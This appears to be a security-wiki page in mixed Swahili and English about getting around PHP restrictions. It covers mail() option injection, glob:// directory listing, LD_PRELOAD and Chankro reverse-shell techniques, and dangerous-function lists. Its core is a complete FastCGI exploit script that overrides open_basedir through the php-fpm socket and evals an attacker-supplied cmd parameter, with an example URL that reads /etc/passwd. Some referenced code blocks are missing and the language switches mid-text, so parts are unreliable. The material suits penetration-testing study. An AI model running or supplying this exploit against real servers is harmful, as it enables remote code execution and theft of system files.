mail / mb_send_mail - Hii kazi inatumika kutuma barua, lakini inaweza pia kutumika vibaya kuingiza amri zisizo za kawaida ndani ya parameter ya $options. Hii ni kwa sababu php mail function kawaida inaita sendmail binary ndani ya mfumo na inaruhusu kuweka chaguzi za ziada. Hata hivyo, huwezi kuona matokeo ya amri iliyotekelezwa, hivyo inashauriwa kuunda script ya shell inayandika matokeo kwenye faili, kuitekeleza kwa kutumia barua, na kuchapisha matokeo:
dl - Hii kazi inaweza kutumika kupakia kiendelezi cha PHP kwa njia ya kidinamik. Hii kazi haitapatikana kila wakati, hivyo unapaswa kuangalia kama inapatikana kabla ya kujaribu kuifanyia shambulio. Soma ukurasa huu kujifunza jinsi ya kutumia kazi hii.
PHP Code Execution
Mbali na eval, kuna njia nyingine za kutekeleza msimbo wa PHP: include/require zinaweza kutumika kwa utekelezaji wa msimbo wa mbali katika mfumo wa Local File Include na Remote File Include vulnerabilities.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Disabled functions ni mipangilio inayoweza kuwekewa katika faili za .ini katika PHP ambayo itakataza matumizi ya functions zilizoonyeshwa. Open basedir ni mipangilio inayomwambia PHP folda ambayo inaweza kufikiwa.
Mipangilio ya PHP inapaswa kuwekwa katika njia /etc/php7/conf.d au sawa na hiyo.
Mipangilio yote inaweza kuonekana katika matokeo ya phpinfo():
open_basedir Bypass
open_basedir itapangilia folda ambazo PHP inaweza kufikia, huwezi kuandika/soma/kutekeleza faili yoyote nje ya folda hizo, lakini pia huwezi hata kuorodhesha saraka nyingine.
Hata hivyo, ikiwa kwa namna fulani unaweza kutekeleza msimbo wa PHP wa kawaida unaweza jaribu kipande hiki cha codes kujaribu bypass vizuizi.
Listing dirs with glob:// bypass
Katika mfano huu wa kwanza, itatumika protokali ya glob:// pamoja na njia fulani ya bypass:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Note1: Katika njia unaweza pia kutumia /e??/* kuorodhesha /etc/* na folda nyingine yoyote.
Note2: Inaonekana kama sehemu ya msimbo imejirudia, lakini hiyo ni muhimu!
Note3: Mfano huu ni wa manufaa tu kuorodhesha folda si kusoma faili
Kamili open_basedir bypass ikitumia FastCGI
Ikiwa unataka kujifunza zaidi kuhusu PHP-FPM na FastCGI unaweza kusoma sehemu ya kwanza ya ukurasa huu.
Ikiwa php-fpm imewekwa unaweza kuitumia kuzunguka kabisa open_basedir:
Kumbuka kwamba jambo la kwanza unahitaji kufanya ni kutafuta ambapo unix socket ya php-fpm iko. Inatumika kuwa chini ya /var/run hivyo unaweza kutumia msimbo wa awali kuorodhesha directory na kuipata.
Msimbo kutoka hapa.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
This scripts will communicate with unix socket of php-fpm (usually located in /var/run if fpm is used) to execute arbitrary code. The open_basedir settings will be overwritten by the PHP_VALUE attribute that is sent.
Note how eval is used to execute the PHP code you send inside the cmd parameter.
Also note the commented line 324, you can uncomment it and the payload will automatically connect to the given URL and execute the PHP code contained there.
Just access http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); to get the content of the /etc/passwd file.
You may be thinking that just in the same way we have overwritten open_basedir configuration we can overwrite disable_functions. Well, try it, but it won't work, apparently disable_functions can only be configured in a .ini php configuration file and the changes you perform using PHP_VALUE won't be effective on this specific setting.
disable_functions Bypass
If you manage have PHP code executing inside a machine you probably want to go to the next level and execute arbitrary system commands. In this situation is usual to discover that most or all the PHP functions that allow to execute system commands have been disabled in disable_functions.
So, lets see how you can bypass this restriction (if you can)
Just return to the beginning of this page and check if any of the command executing functions isn't disabled and available in the environment. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.
LD_PRELOAD bypass
It's well known that some functions in PHP like mail()are going to execute binaries inside the system. Therefore, you can abuse them using the environment variable LD_PRELOAD to make them load an arbitrary library that can execute anything.
Functions that can be used to bypass disable_functions with LD_PRELOAD
mail
mb_send_mail: Inafanya kazi wakati moduli ya php-mbstring imewekwa.
imap_mail: Inafanya kazi ikiwa moduli ya php-imap ipo.
libvirt_connect: Inahitaji moduli ya php-libvirt-php.
gnupg_init: Inaweza kutumika ikiwa moduli ya php-gnupg imewekwa.
new imagick(): Darasa hili linaweza kutumika vibaya ili kupita vizuizi. Mbinu za kina za unyakuzi zinaweza kupatikana katika andiko hapa.
You can find here the fuzzing script that was used to find those functions.
Here is a library you can compile to abuse the LD_PRELOAD env variable:
Ili kutumia vibaya usanidi huu mbovu unaweza Chankro. Hii ni zana ambayo itaunda PHP exploit ambayo unahitaji kupakia kwenye seva iliyo hatarini na kuitekeleza (fikia kupitia wavuti).
Chankro itaandika ndani ya diski ya waathirika maktaba na shell ya kurudi unayotaka kutekeleza na itatumia**LD_PRELOAD trick + PHP mail()** kazi ili kutekeleza shell ya kurudi.
Kumbuka kwamba ili kutumia Chankro, mail na putenvhaziwezi kuonekana ndani ya orodha ya disable_functions.
Katika mfano ufuatao unaweza kuona jinsi ya kuunda chankro exploit kwa arch 64, ambayo itatekeleza whoami na kuokoa matokeo katika /tmp/chankro_shell.out, chankro it andika maktaba na payload katika /tmp na exploit ya mwisho itaitwa bicho.php (hiyo ndiyo faili unahitaji kupakia kwenye seva ya waathirika):
Kumbuka kwamba kwa kutumia PHP unaweza kusoma na kuandika faili, kuunda saraka na kubadilisha ruhusa.
Unaweza hata kudump databases.
Labda kwa kutumia PHP ili kuorodhesha sanduku unaweza kupata njia ya kupandisha mamlaka/kutekeleza amri (kwa mfano kusoma funguo za ssh za kibinafsi).
Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya uchaguzi wa mshambuliaji. Kulingana na kazi, mshambuliaji anaweza kuwa na uwezo wa kupitisha parameter au la. Katika kesi hiyo, kazi ya Ufichuzi wa Taarifa kama phpinfo() inaweza kutumika.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Information Disclosure
Mara nyingi hizi kito za kazi si vyanzo. Lakini inaweza kuwa udhaifu ikiwa data yoyote iliyorejeshwa inaonekana kwa mshambuliaji. Ikiwa mshambuliaji anaweza kuona phpinfo() ni hakika udhaifu.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Filesystem Functions
Kulingana na RATS, kazi zote za mfumo wa faili katika php ni mbaya. Baadhi ya hizi hazionekani kuwa na manufaa sana kwa mshambuliaji. Nyingine ni za manufaa zaidi kuliko unavyoweza kufikiria. Kwa mfano, ikiwa allow_url_fopen=On, basi url inaweza kutumika kama njia ya faili, hivyo wito wa copy($_GET['s'], $_GET['d']); unaweza kutumika kupakia skripti ya PHP mahali popote kwenye mfumo. Pia, ikiwa tovuti ina udhaifu wa ombi lililotumwa kupitia GET, kila moja ya hizo kazi za mfumo wa faili inaweza kutumika vibaya kupeleka shambulio kwa mwenyeji mwingine kupitia seva yako.
Andika kwenye mfumo wa faili (sehemu kwa sehemu kwa mchanganyiko na kusoma)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir